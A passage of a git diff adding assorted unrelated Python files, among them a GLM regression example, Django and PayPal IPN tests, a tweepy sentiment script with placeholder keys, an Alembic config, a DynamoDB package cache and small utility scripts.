datasets.fetch_community_crime_data() +n_samples, n_features = X.shape + +######################################################## +# Split the data into training and test sets + +X_train, X_test, y_train, y_test = \ + train_test_split(X, y, test_size=0.33, random_state=0) + +######################################################## +# Fit a binomial distributed GLM with elastic net regularization + +# use the default value for reg_lambda +glm = GLMCV(distr='binomial', alpha=0.05, score_metric='pseudo_R2', cv=3, + tol=1e-4) + +# fit model +glm.fit(X_train, y_train) + +# score the test set prediction +y_test_hat = glm.predict_proba(X_test) +print("test set pseudo $R^2$ = %f" % glm.score(X_test, y_test)) + +######################################################## +# Now use GridSearchCV to compare + +import numpy as np # noqa +from sklearn.model_selection import GridSearchCV # noqa +from sklearn.model_selection import KFold # noqa + +cv = KFold(3) + +reg_lambda = np.logspace(np.log(0.5), np.log(0.01), 10, + base=np.exp(1)) +param_grid = [{'reg_lambda': reg_lambda}] + +glm = GLM(distr='binomial', alpha=0.05, score_metric='pseudo_R2', + learning_rate=0.1, tol=1e-4, verbose=True) +glmcv = GridSearchCV(glm, param_grid, cv=cv) +glmcv.fit(X_train, y_train) + +print("test set pseudo $R^2$ = %f" % glmcv.score(X_test, y_test)) + +######################################################## +# Plot the true and predicted test set target values + +plt.plot(y_test[:50], 'ko-') +plt.plot(y_test_hat[:50], 'ro-') +plt.legend(['true', 'pred'], frameon=False) +plt.xlabel('Counties') +plt.ylabel('Per capita violent crime') + +plt.tick_params(axis='y', right='off') +plt.tick_params(axis='x', top='off') +ax = plt.gca() +ax.spines['top'].set_visible(False) +ax.spines['right'].set_visible(False) +plt.show() + +######################################################## +# We can also check if the algorithm converged properly +glmcv.best_estimator_.plot_convergence() diff --git a/pool/shard009/Python/0083039_test_admin.py b/pool/shard009/Python/0083039_test_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..993182c53cfa1ea1ff03823aa5952a1295e8ca36 --- /dev/null +++ b/pool/shard009/Python/0083039_test_admin.py @@ -0,0 +1,62 @@ +from django.contrib.admin.sites import AdminSite +from django.urls import reverse + +from pyquery import PyQuery as pq + +from olympia.amo.tests import TestCase, addon_factory, user_factory +from olympia.git.admin import GitExtractionEntryAdmin +from olympia.git.models import GitExtractionEntry + + +class TestGitExtractionEntryAdmin(TestCase): + def setUp(self): + super().setUp() + + self.user = user_factory(email='someone@mozilla.com') + self.grant_permission(self.user, 'Admin:GitExtractionEdit') + self.client.login(email=self.user.email) + self.list_url = reverse('admin:git_gitextractionentry_changelist') + + self.admin = GitExtractionEntryAdmin( + model=GitExtractionEntry, admin_site=AdminSite() + ) + + def test_has_add_permission(self): + assert self.admin.has_add_permission(request=None) is False + + def test_has_change_permission(self): + assert self.admin.has_change_permission(request=None) is False + + def test_list_view(self): + GitExtractionEntry.objects.create(addon=addon_factory()) + + # 9 queries: + # - 2 transaction savepoints because of tests + # - 2 request user and groups + # - 2 COUNT(*) on extraction entries for pagination and total display + # - 1 all git extraction entries in one query + # - 1 all add-ons in one query + # - 1 all add-ons translations in one query + with self.assertNumQueries(9): + response = self.client.get(self.list_url) + + assert response.status_code == 200 + html = pq(response.content) + assert html('.column-id').length == 1 + assert html('.actions option[value="delete_selected"]').length == 1 + + def test_list_view_is_restricted(self): + user = user_factory(email='nobody@mozilla.com') + self.grant_permission(user, 'Admin:Curation') + self.client.login(email=user.email) + response = self.client.get(self.list_url) + assert response.status_code == 403 + + def test_formatted_addon(self): + addon = addon_factory() + entry = GitExtractionEntry.objects.create(addon=addon) + + formatted_addon = self.admin.formatted_addon(entry) + + assert reverse('admin:addons_addon_change', args=(addon.pk,)) in formatted_addon + assert str(addon) in formatted_addon diff --git a/pool/shard009/Python/0083040_sentiment_analysis.py b/pool/shard009/Python/0083040_sentiment_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..e2d714dbe55470fc0c1c26a7959c8ce51003b45f --- /dev/null +++ b/pool/shard009/Python/0083040_sentiment_analysis.py @@ -0,0 +1,86 @@ +import re +import tweepy +from tweepy import OAuthHandler +from textblob import TextBlob + +class TwitterClient(object): + ''' + Generic Twitter Class for sentiment analysis. + ''' + def __init__(self): + ''' + Class constructor or initialization method. + ''' + consumer_key = 'XXXXXXXXXXXXXXXXXXXXXXXX' + consumer_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' + access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXX' + + try: + + self.auth = OAuthHandler(consumer_key, consumer_secret) + self.auth.set_access_token(access_token, access_token_secret) + self.api = tweepy.API(self.auth) + except: + print("Error: Authentication Failed") + + def clean_tweet(self, tweet): + ''' + Utility function to clean tweet text by removing links, special characters + using simple regex statements. + ''' + return ' '.join(re.sub("(@[A-Za-z0-9]+)|([^0-9A-Za-z \t]) |(\w+:\/\/\S+)", " ", tweet).split()) + + def get_tweet_sentiment(self, tweet): + ''' + Utility function to classify sentiment of passed tweet + using textblob's sentiment method + ''' + analysis = TextBlob(self.clean_tweet(tweet)) + if analysis.sentiment.polarity > 0: + return 'positive' + elif analysis.sentiment.polarity == 0: + return 'neutral' + else: + return 'negative' + + def get_tweets(self, query, count = 10): + ''' + Main function to fetch tweets and parse them. + ''' + tweets = [] + try: + fetched_tweets = self.api.search(q = query, count = count) + for tweet in fetched_tweets: + parsed_tweet = {} + parsed_tweet['text'] = tweet.text + parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text) + if tweet.retweet_count > 0: + if parsed_tweet not in tweets: + tweets.append(parsed_tweet) + else: + tweets.append(parsed_tweet) + return tweets + + except tweepy.TweepError as e: + print("Error : " + str(e)) + +def main(): + api = TwitterClient() + tweets = api.get_tweets(query = 'Donald Trump', count = 200) + ptweets = [tweet for tweet in tweets if tweet['sentiment'] == 'positive'] + print("Positive tweets percentage: {} %".format(100*len(ptweets)/len(tweets))) + ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative'] + print("Negative tweets percentage: {} %".format(100*len(ntweets)/len(tweets))) + print("Neutral tweets percentage: {} % \ + ".format(100*len(tweets - ntweets - ptweets)/len(tweets))) + + print("\n\nPositive tweets:") + for tweet in ptweets[:10]: + print(tweet['text']) + print("\n\nNegative tweets:") + for tweet in ntweets[:10]: + print(tweet['text']) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0083044_find_problems.py b/pool/shard009/Python/0083044_find_problems.py new file mode 100644 index 0000000000000000000000000000000000000000..add8147169020200b55a2cc5e2185b5da8d2d01d --- /dev/null +++ b/pool/shard009/Python/0083044_find_problems.py @@ -0,0 +1,42 @@ +import csv +import string + +def find_problems(filename = "google.csv"): + + with open(filename, 'rb') as readfile: + contact_reader = csv.reader(readfile, delimiter = ",") + + for row in contact_reader: + + # if no total name, then ignore + if not row[0]: + continue + # if no first name, + if not row[1]: + + tokens = string.split(row[0]) + if len(tokens) == 2: + + # print row + + # row 1 is first name, row 3 is last name + row[1] = tokens[0] + row[3] = tokens[1] + + # remove prior groups + row[26] = '' + + + +if __name__ == "__main__": + find_problems() + + +# routine to run if you encounter null character errors +def sanitize(filename = "google.csv", sanitized_filename="sanitized_google.csv"): + fi = open(filename, 'rb') + data = fi.read() + fi.close() + fo = open(sanitized_filename, 'wb') + fo.write(data.replace('\x00', '')) + fo.close() diff --git a/pool/shard009/Python/0083045_env.py b/pool/shard009/Python/0083045_env.py new file mode 100644 index 0000000000000000000000000000000000000000..157cfa15a5b4bd4655428c5b2276ef3fa609f208 --- /dev/null +++ b/pool/shard009/Python/0083045_env.py @@ -0,0 +1,73 @@ +from __future__ import with_statement +from alembic import context +from sqlalchemy import engine_from_config, pool +from logging.config import fileConfig + +# this is the Alembic Config object, which provides +# access to the values within the .ini file in use. +from couchpulse import sql + +config = context.config + +# Interpret the config file for Python logging. +# This line sets up loggers basically. +fileConfig(config.config_file_name) + +# add your model's MetaData object here +# for 'autogenerate' support +# from myapp import mymodel +# target_metadata = mymodel.Base.metadata +target_metadata = sql.Base.metadata + +# other values from the config, defined by the needs of env.py, +# can be acquired: +# my_important_option = config.get_main_option("my_important_option") +# ... etc. + +def run_migrations_offline(): + """Run migrations in 'offline' mode. + + This configures the context with just a URL + and not an Engine, though an Engine is acceptable + here as well. By skipping the Engine creation + we don't even need a DBAPI to be available. + + Calls to context.execute() here emit the given string to the + script output. + + """ + url = config.get_main_option("sqlalchemy.url") + context.configure(url=url) + + with context.begin_transaction(): + context.run_migrations() + +def run_migrations_online(): + """Run migrations in 'online' mode. + + In this scenario we need to create an Engine + and associate a connection with the context. + + """ + engine = engine_from_config( + config.get_section(config.config_ini_section), + prefix='sqlalchemy.', + poolclass=pool.NullPool) + + connection = engine.connect() + context.configure( + connection=connection, + target_metadata=target_metadata + ) + + try: + with context.begin_transaction(): + context.run_migrations() + finally: + connection.close() + +if context.is_offline_mode(): + run_migrations_offline() +else: + run_migrations_online() + diff --git a/pool/shard009/Python/0083046_test_compress.py b/pool/shard009/Python/0083046_test_compress.py new file mode 100644 index 0000000000000000000000000000000000000000..4640e3225a1c5025844a6e27cde9e4dc6e4782ee --- /dev/null +++ b/pool/shard009/Python/0083046_test_compress.py @@ -0,0 +1,106 @@ +# -*- coding: utf-8 -*- +''' +Test database compression functions +''' +# Import sorbic libs +import sorbic.db + +# Import python libs +import os +import random +import shutil +import unittest +import tempfile + + +class TestCompress(unittest.TestCase): + ''' + Cover compression possibilities + ''' + def test_compress_no_changes(self): + ''' + Run a scale db execution with the given db kwargs + ''' + entries = 100 + w_dir = tempfile.mkdtemp() + root = os.path.join(w_dir, 'db_root') + db = sorbic.db.DB(root) + data = {1:1} + for num in xrange(entries): + key = str(num) + db.insert(key, data) + db.compress('', 0) + for num in xrange(entries): + key = str(num) + pull_data = db.get(key) + self.assertEqual(data, pull_data) + shutil.rmtree(w_dir) + + def test_compress_no_changes_depth(self): + ''' + Run a scale db execution with the given db kwargs + ''' + entries = 100 + w_dir = tempfile.mkdtemp() + root = os.path.join(w_dir, 'db_root') + db = sorbic.db.DB(root) + data = {1:1} + key = 'foo/bar' + for num in xrange(entries): + db.insert(key, data) + db.compress('foo', 0) + for num in xrange(entries): + pull_data = db.get(key) + self.assertEqual(data, pull_data) + shutil.rmtree(w_dir) + + def test_compress_changes(self): + ''' + Compress a db with removed keys + ''' + entries = 100 + w_dir = tempfile.mkdtemp() + root = os.path.join(w_dir, 'db_root') + db = sorbic.db.DB(root) + rands = set() + data = {1:1} + for num in xrange(entries): + key = str(num) + db.insert(key, data) + for _ in xrange(entries): + rands.add(random.randint(0, entries - 1)) + for key in rands: + db.rm(str(key)) + db.compress('', 0) + for num in xrange(entries): + key = str(num) + pull_data = db.get(key) + if num in rands: + self.assertIsNone(pull_data) + else: + self.assertEqual(data, pull_data) + shutil.rmtree(w_dir) + + def test_compress_changes_depth(self): + ''' + Run a scale db execution with the given db kwargs + ''' + entries = 100 + w_dir = tempfile.mkdtemp() + root = os.path.join(w_dir, 'db_root') + db = sorbic.db.DB(root) + data = {1:1} + key = 'foo/bar' + ids = [] + rm_ids = set() + for num in xrange(entries): + ids.append(db.insert(key, data)['id']) + for _ in xrange(entries): + rm_ids.add(ids[random.randint(0, entries - 1)]) + for rm_id in rm_ids: + db.rm(key, rm_id) + db.compress('foo', 0) + for num in xrange(entries): + pull_data = db.get(key) + self.assertEqual(data, pull_data) + shutil.rmtree(w_dir) diff --git a/pool/shard009/Python/0083053_test_ipn.py b/pool/shard009/Python/0083053_test_ipn.py new file mode 100644 index 0000000000000000000000000000000000000000..0fedab5e3321fba6e5dcd6408ed358ddc0cee775 --- /dev/null +++ b/pool/shard009/Python/0083053_test_ipn.py @@ -0,0 +1,192 @@ +from decimal import Decimal +import json +import urllib + +from mock import Mock, patch +from nose.tools import eq_ + +import test_utils + +from lib.paypal import constants +from lib.paypal.ipn import IPN +from lib.paypal.tests import samples +from lib.sellers.models import Seller, SellerPaypal +from lib.sellers.tests.utils import make_seller_paypal +from lib.transactions import constants as transaction_constants +from lib.transactions.models import Transaction +from solitude.base import APITest + + +@patch('lib.paypal.client.requests.post') +class TestValid(test_utils.TestCase): + + def test_empty(self, post): + eq_(IPN('').is_valid(), False) + + def test_not_completed(self, post): + eq_(IPN('status=something').is_valid(), False) + + def test_not_valid(self, post): + post.return_value.text = 'NOPE' + post.return_value.status_code = 200 + eq_(IPN('status=completed').is_valid(), False) + + def test_good(self, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + eq_(IPN('status=completed').is_valid(), True) + + def test_calls(self, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + eq_(IPN('status=completed').is_valid(), True) + + +class TestParse(test_utils.TestCase): + + def create(self, data): + ipn = IPN(data) + mock = Mock() + mock.return_value = True + ipn.is_valid = mock + return ipn + + def test_parse(self): + ipn = self.create('status=foo') + eq_(ipn.parse(), ({'status': 'foo'}, {})) + + def test_number(self): + ipn = self.create(urllib.urlencode({'transaction[0].amount': + 'USD 1.00'})) + eq_(ipn.parse(), ({}, {'0': {'amount': {'currency': 'USD', + 'amount': Decimal('1.00')}}})) + + def test_sample_refund(self): + ipn = self.create(urllib.urlencode(samples.sample_refund)) + trans, item = ipn.parse() + eq_(trans['status'], 'COMPLETED') + eq_(item['0']['status'], 'Refunded') + eq_(item['0']['amount'], + {'currency': 'USD', 'amount': Decimal('1.00')}) + + def test_chained_refund(self): + ipn = self.create(urllib.urlencode(samples.sample_chained_refund)) + trans, res = ipn.parse() + eq_(trans['status'], 'COMPLETED') + eq_(res['0']['status'], 'Refunded') + eq_(res['0']['is_primary_receiver'], 'true') + eq_(res['0']['amount'], + {'currency': 'USD', 'amount': Decimal('0.99')}) + eq_(res['1']['is_primary_receiver'], 'false') + eq_(res['1']['amount'], + {'currency': 'USD', 'amount': Decimal('0.30')}) + + +@patch('lib.paypal.client.requests.post') +class TestProcess(test_utils.TestCase): + + def test_invalid(self, post): + ipn = IPN('') + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_IGNORED) + + def test_still_ignored(self, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + ipn = IPN(urllib.urlencode(samples.sample_refund)) + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_IGNORED) + + @patch('lib.paypal.ipn.utils.completed') + def test_purchase(self, completed, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + completed.return_value = True + ipn = IPN(urllib.urlencode(samples.sample_purchase)) + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_OK) + + @patch('lib.paypal.ipn.utils.completed') + def test_purchase_not(self, completed, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + completed.return_value = False + ipn = IPN(urllib.urlencode(samples.sample_purchase)) + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_IGNORED) + + @patch('lib.paypal.ipn.utils.refunded') + def test_refund(self, refunded, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + refunded.return_value = True + ipn = IPN(urllib.urlencode(samples.sample_refund)) + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_OK) + + @patch('lib.paypal.ipn.utils.reversal') + def test_reversal(self, reversal, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + reversal.return_value = True + ipn = IPN(urllib.urlencode(samples.sample_reversal)) + ipn.process() + eq_(ipn.status, constants.IPN_STATUS_OK) + + @patch('lib.paypal.ipn.utils.refunded') + def test_chained_refund(self, refunded, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + refunded.return_value = True + ipn = IPN(urllib.urlencode(samples.sample_chained_refund)) + ipn.process() + eq_(refunded.call_count, 1) + eq_(ipn.status, constants.IPN_STATUS_OK) + + +@patch('lib.paypal.client.requests.post') +class TestIPNResource(APITest): + + def setUp(self): + self.api_name = 'paypal' + self.uuid = 'sample:uid' + self.list_url = self.get_list_url('ipn') + self.seller, self.paypal, self.product = make_seller_paypal(self.uuid) + self.transaction = Transaction.objects.create(uuid='5678', + provider=transaction_constants.SOURCE_PAYPAL, + seller_product=self.product, amount='10', uid_support='123') + + def test_nope(self, post): + res = self.client.post(self.list_url, data={}) + eq_(res.status_code, 400, res.content) + + def test_something(self, post): + res = self.client.post(self.list_url, data={'data': 'foo'}) + eq_(res.status_code, 201) + eq_(json.loads(res.content)['status'], 'IGNORED') + + def test_purchase(self, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + res = self.client.post(self.list_url, data={'data': + urllib.urlencode(samples.sample_purchase)}) + eq_(res.status_code, 201) + data = json.loads(res.content) + eq_(data['status'], 'OK') + eq_(data['action'], 'PAYMENT') + eq_(data['uuid'], '5678') + eq_(data['amount'], {'currency': 'USD', 'amount': '0.01'}) + + def test_refund(self, post): + post.return_value.text = 'VERIFIED' + post.return_value.status_code = 200 + self.transaction.status = transaction_constants.STATUS_COMPLETED + self.transaction.save() + res = self.client.post(self.list_url, data={'data': + urllib.urlencode(samples.sample_refund)}) + eq_(res.status_code, 201) + data = json.loads(res.content) + eq_(data['status'], 'OK') + eq_(data['action'], 'REFUND') + eq_(data['uuid'], '5678') + eq_(data['amount'], {'currency': 'USD', 'amount': '1.00'}) diff --git a/pool/shard009/Python/0083054_number.py b/pool/shard009/Python/0083054_number.py new file mode 100644 index 0000000000000000000000000000000000000000..c474e1c434aca544bd2f192dd2b86ca856dd44ce --- /dev/null +++ b/pool/shard009/Python/0083054_number.py @@ -0,0 +1,29 @@ +#!/usr/bin/python + +var1 = 1 +var2 = 10 + +print "Value of var1 is : ", var1 +print "Value of var2 is : ", var2 +del var1 +#print "Value of var1 is : ", var1 +print "Value of var2 is : ", var2 + +var_a = 100 +var_b = 1000L +var_c = 1.125 +var_d = 10 + 3j + +print "===============================================================" +print "Value of var_a is ", var_a +print "Value of var_b is ", var_b +print "Value of var_c is ", var_c +print "Value of var d id ", var_d + +print "===============================================================" +print "Converted var_c to integer is ", int(var_c) +print "Converted var_c to long is ", long(var_c) +print "Converted var_a to float is ", float(var_a) +print "Converted var_a to complex is ", complex(var_a, var_b) + +print "===============================================================" diff --git a/pool/shard009/Python/0083059_test_selectable.py b/pool/shard009/Python/0083059_test_selectable.py new file mode 100644 index 0000000000000000000000000000000000000000..e46d8bbc80d2d49f01f03e2b331ce0b5c32f01e8 --- /dev/null +++ b/pool/shard009/Python/0083059_test_selectable.py @@ -0,0 +1,58 @@ +"""Generic mapping to Select statements""" +from sqlalchemy.test.testing import assert_raises, assert_raises_message +import sqlalchemy as sa +from sqlalchemy.test import testing +from sqlalchemy import String, Integer, select +from sqlalchemy.test.schema import Table, Column +from sqlalchemy.orm import mapper, create_session +from sqlalchemy.test.testing import eq_ +from test.orm import _base + + +# TODO: more tests mapping to selects + +class SelectableNoFromsTest(_base.MappedTest): + @classmethod + def define_tables(cls, metadata): + Table('common', metadata, + Column('id', Integer, primary_key=True, test_needs_autoincrement=True), + Column('data', Integer), + Column('extra', String(45))) + + @classmethod + def setup_classes(cls): + class Subset(_base.ComparableEntity): + pass + + @testing.resolve_artifact_names + def test_no_tables(self): + + selectable = select(["x", "y", "z"]).alias() + assert_raises_message(sa.exc.InvalidRequestError, + "Could not find any Table objects", + mapper, Subset, selectable) + + @testing.resolve_artifact_names + def test_no_selects(self): + subset_select = select([common.c.id, common.c.data]) + assert_raises(sa.exc.InvalidRequestError, mapper, Subset, subset_select) + + @testing.resolve_artifact_names + def test_basic(self): + subset_select = select([common.c.id, common.c.data]).alias() + subset_mapper = mapper(Subset, subset_select) + + sess = create_session(bind=testing.db) + sess.add(Subset(data=1)) + sess.flush() + sess.expunge_all() + + eq_(sess.query(Subset).all(), [Subset(data=1)]) + eq_(sess.query(Subset).filter(Subset.data==1).one(), Subset(data=1)) + eq_(sess.query(Subset).filter(Subset.data!=1).first(), None) + + subset_select = sa.orm.class_mapper(Subset).mapped_table + eq_(sess.query(Subset).filter(subset_select.c.data==1).one(), + Subset(data=1)) + + diff --git a/pool/shard009/Python/0083069_recordsExtractor.py b/pool/shard009/Python/0083069_recordsExtractor.py new file mode 100644 index 0000000000000000000000000000000000000000..8367ac06bf7a8d1d5f2effe922aa8b24777618aa --- /dev/null +++ b/pool/shard009/Python/0083069_recordsExtractor.py @@ -0,0 +1,103 @@ +import re +from utils import * +from entities.record import Record + + +def __extractTag(text): + """ + Extracts tag from record. + @tag + + @param {string} text. + + @return {string} tag. + """ + return re.match('@\w+', text).group(0) + + +def __extractType(text, tag): + """ + Extracts type expression from record. + {type} + + @param {string} text. + @param {string} tag. + + @return {string} Type expression. + """ + typeExpression = extractTextBetweenTokens(text, '{') + return typeExpression + + +def __extractName(text, tag): + """ + Extracts name of variable from record. + + @param {string} text. + @param {string} tag. + + @return {string} Name. + """ + name = None + if tag not in {'@return', '@inheritDoc'}: + name = text.split(' ')[0] + return name + + +def __extractDescription(text, tag): + """ + Extracts description of variable from record without newlines. + + @param {string} text. + @param {string} tag. + + @return {string} Description. + """ + return text.replace('\n', ' ') + + +def extractRecord(text): + """ + Extracts from code a record object, which contain such information as + tag, type, name of variable abd its description. + + @param {string} text. + + @return {jsCodeParser.record.Record} Record + """ + tag = __extractTag(text) + position = text.find(tag) + len(tag) + text = text[position:] + + recordMap = { + 'type': { + 'extractor': __extractType, + 'value': '' + }, + 'name': { + 'extractor': __extractName, + 'value': '' + }, + 'description': { + 'extractor': __extractDescription, + 'value': '' + } + } + + while text: + for key in ['type', 'name', 'description']: + extractor = recordMap[key]['extractor'] + value = extractor(text, tag) + if value: + recordMap[key]['value'] = value + position = text.find(value) + len(value) + text = text[position:] + text = text.strip('. ') + + typeExpression = recordMap['type']['value'] + name = recordMap['name']['value'] + description = recordMap['description']['value'] + + return Record(tag, typeExpression, name, description) + + diff --git a/pool/shard009/Python/0083073_tags.py b/pool/shard009/Python/0083073_tags.py new file mode 100644 index 0000000000000000000000000000000000000000..8c0e184d5ac483ea1fcf0c08eb75a7c65ec4eae6 --- /dev/null +++ b/pool/shard009/Python/0083073_tags.py @@ -0,0 +1,34 @@ +from flask import Blueprint +from flask import render_template +from flask import request +from flask.ext.login import current_user + +from daimaduan.models.base import Paste +from daimaduan.models.syntax import Syntax +from daimaduan.models.tag import Tag +from daimaduan.utils.pagination import get_page + + +tag_app = Blueprint('tag_app', __name__, template_folder="templates") + + +@tag_app.route('/', methods=['GET']) +def view(tag_name): + criteria = {} + tag = Tag.objects.get_or_404(key=tag_name) + if request.args.get('filter', None) != 'mine' or not current_user.is_authenticated: + criteria['is_private'] = False + syntax = Syntax.objects(key=tag_name).first() + if syntax: + criteria['codes__syntax'] = syntax + else: + criteria['tags'] = tag + pastes = Paste.objects(**criteria).order_by('-updated_at') + page = get_page() + + pagination = pastes.paginate(page, per_page=20) + + return render_template('tags/view.html', + tag=tag, + hot_pastes=Paste.objects(is_private=False).order_by('-views')[:10], + pagination=pagination) diff --git a/pool/shard009/Python/0083077_dynamo.py b/pool/shard009/Python/0083077_dynamo.py new file mode 100644 index 0000000000000000000000000000000000000000..cb47ea8a92fdb7089641079dba882a4c01b233e3 --- /dev/null +++ b/pool/shard009/Python/0083077_dynamo.py @@ -0,0 +1,189 @@ +""" Store package data in DynamoDB """ +from datetime import datetime + +import logging +from dynamo3 import DynamoDBConnection +from pkg_resources import parse_version +from pyramid.settings import asbool + +from .base import ICache +from pypicloud.models import Package + + +try: + from flywheel import Engine, Model, Field, GlobalIndex, __version__ + from flywheel.fields.types import UTC + if parse_version(__version__) < parse_version('0.2.0'): # pragma: no cover + raise ValueError("Pypicloud requires flywheel>=0.2.0") +except ImportError: # pragma: no cover + raise ImportError("You must 'pip install flywheel' before using " + "DynamoDB as the cache database") + +LOG = logging.getLogger(__name__) + + +class DynamoPackage(Package, Model): + + """ Python package stored in DynamoDB """ + __metadata__ = { + 'global_indexes': [ + GlobalIndex('name-index', 'name'), + ], + } + filename = Field(hash_key=True) + name = Field() + version = Field() + last_modified = Field(data_type=datetime) + summary = Field() + data = Field(data_type=dict) + + +class PackageSummary(Model): + + """ Aggregate data about packages """ + name = Field(hash_key=True) + stable = Field() + unstable = Field() + last_modified = Field(data_type=datetime) + + def __init__(self, package): + super(PackageSummary, self).__init__(package.name) + self.unstable = package.version + if not package.is_prerelease: + self.stable = package.version + self.last_modified = package.last_modified.replace(tzinfo=UTC) + + def update_with(self, package): + """ Update summary with a package """ + if self.name != package.name: + LOG.error("Summary name '%s' doesn't match package name '%s'", + self.name, package.name) + return + self.unstable = max(self.unstable, package.version, key=parse_version) + self.last_modified = max(self.last_modified.replace(tzinfo=UTC), + package.last_modified.replace(tzinfo=UTC)) + if not package.is_prerelease: + if self.stable is None: + self.stable = package.version + else: + self.stable = max(self.stable, package.version, + key=parse_version) + + +class DynamoCache(ICache): + + """ Caching database that uses DynamoDB """ + package_class = DynamoPackage + + def __init__(self, request=None, engine=None, **kwargs): + super(DynamoCache, self).__init__(request, **kwargs) + self.engine = engine + + @classmethod + def configure(cls, settings): + kwargs = super(DynamoCache, cls).configure(settings) + + access_key = settings.get('db.access_key') + secret_key = settings.get('db.secret_key') + region = settings.get('db.region') + host = settings.get('db.host') + port = int(settings.get('db.port', 8000)) + secure = asbool(settings.get('db.secure', False)) + namespace = settings.get('db.namespace', ()) + + if region is not None: + connection = DynamoDBConnection.connect(region, + access_key=access_key, + secret_key=secret_key) + elif host is not None: + connection = DynamoDBConnection.connect('us-east-1', + host=host, + port=port, + is_secure=secure, + access_key=access_key, + secret_key=secret_key) + else: + raise ValueError("Must specify either db.region or db.host!") + kwargs['engine'] = engine = Engine(namespace=namespace, + dynamo=connection) + + engine.register(DynamoPackage, PackageSummary) + engine.create_schema() + return kwargs + + def fetch(self, filename): + self.reload_if_needed() + return self.engine.get(DynamoPackage, filename=filename) + + def all(self, name): + self.reload_if_needed() + return sorted(self.engine.query(DynamoPackage).filter(name=name), + reverse=True) + + def distinct(self): + self.reload_if_needed() + names = set() + for summary in self.engine.scan(PackageSummary): + names.add(summary.name) + return sorted(names) + + def summary(self): + self.reload_if_needed() + summaries = sorted(self.engine.scan(PackageSummary), + key=lambda s: s.name) + return [s.__json__() for s in summaries] + + def clear(self, package): + summary = self.engine.get(PackageSummary, name=package.name) + if summary is not None and \ + (summary.unstable == package.version or + summary.stable == package.version or + summary.last_modified == package.last_modified): + summary.stable = None + summary.unstable = '0' + summary.last_modified = datetime.fromtimestamp(0) \ + .replace(tzinfo=UTC) + all_packages = self.engine.scan(DynamoPackage)\ + .filter(DynamoPackage.filename != package.filename, + name=package.name) + delete_summary = True + for pkg in all_packages: + delete_summary = False + summary.update_with(pkg) + if delete_summary: + summary.delete() + else: + summary.sync() + + self.engine.delete(package) + + def clear_all(self): + # We're replacing the schema, so make sure we save and restore the + # current table/index throughput + throughput = {} + for model in (DynamoPackage, PackageSummary): + tablename = model.meta_.ddb_tablename(self.engine.namespace) + desc = self.engine.dynamo.describe_table(tablename) + tablename = model.meta_.ddb_tablename() + throughput[tablename] = { + 'read': desc.throughput.read, + 'write': desc.throughput.write, + } + for index in desc.global_indexes: + throughput[tablename][index.name] = { + 'read': index.throughput.read, + 'write': index.throughput.write, + } + + self.engine.delete_schema() + self.engine.create_schema(throughput=throughput) + + def save(self, package): + summary = self.engine.get(PackageSummary, name=package.name) + if summary is None: + summary = PackageSummary(package) + else: + summary.update_with(package) + + self.engine.save(package) + self.engine.sync(summary) diff --git a/pool/shard009/Python/0083078_log.py b/pool/shard009/Python/0083078_log.py new file mode 100644 index 0000000000000000000000000000000000000000..07fecb2b349158f447a746e9beb6c3bf69b16dae --- /dev/null +++ b/pool/shard009/Python/0083078_log.py @@ -0,0 +1,28 @@ +#! /usr/bin/env python +""" Log radios to file """ + +from __future__ import division, absolute_import, print_function, unicode_literals +import sys +import serial +import datetime +import time + +def main(port): + radio = serial.Serial(port, baudrate=9600) + next = time.time() + 10 + while True: + while radio.read() != 'a': + if time.time() - next > 0: + next = time.time() + 10 + radio.write('aHATEMP-----') + radio.flush() + id = radio.read(2) + msg = radio.read(9) + print("%s %s %s" % ( + datetime.datetime.now(), + id, + msg + )) + +if __name__ == '__main__': + main(sys.argv[1]) diff --git a/pool/shard009/Python/0083083_camera.py b/pool/shard009/Python/0083083_camera.py new file mode 100644 index 0000000000000000000000000000000000000000..9efe289c14897d6f2ff8596e91e4ea3c8186d952 --- /dev/null +++ b/pool/shard009/Python/0083083_camera.py @@ -0,0 +1,53 @@ +from OpenGL.GL import ( + glLoadIdentity, glMatrixMode, + GL_MODELVIEW +) +from OpenGL.GLU import gluLookAt + +# Import default camera settings from settings.py +from settings import CENTER_POS, EYE_POS, UP_POS + + +class Camera(object): + + def __init__(self, *args, **kwargs): + """ + Set eye position, center position and up position to their + default settings + """ + # Set the default values from settings for eye position, center + # position and up position + self.eye = EYE_POS + self.center = CENTER_POS + self.up = UP_POS + + def look_at(self, eye=None, center=None, up=None): + ''' + Set the camera view with gluLookAt, use default settings + if values are not provided + ''' + # If the arguments passed to this module have value, set the + # corresponding class variable to the value passed + if eye: + self.eye = eye + if center: + self.center = center + if up: + self.up = up + + # Switch to modelview + self.reset() + + # Set camera lookat + gluLookAt( + self.eye[0], self.eye[1], self.eye[2], + self.center[0], self.center[1], self.center[2], + self.up[0], self.up[1], self.up[2] + ) + + def reset(self): + """ + Reset to modelview + """ + glMatrixMode(GL_MODELVIEW) + glLoadIdentity() diff --git a/pool/shard009/Python/0083086_server.py b/pool/shard009/Python/0083086_server.py new file mode 100644 index 0000000000000000000000000000000000000000..5a18f2a2f75e1a39edd9e82bb91a5d596944690d --- /dev/null +++ b/pool/shard009/Python/0083086_server.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python +# coding=utf-8 +''' +The server module contains the essential resources to start the webserver +from console on via python calls. + +Starting from Commandline +------------------------- + +The server can be started by e xecuting the module directly:: + + python -m torweb + +This will call 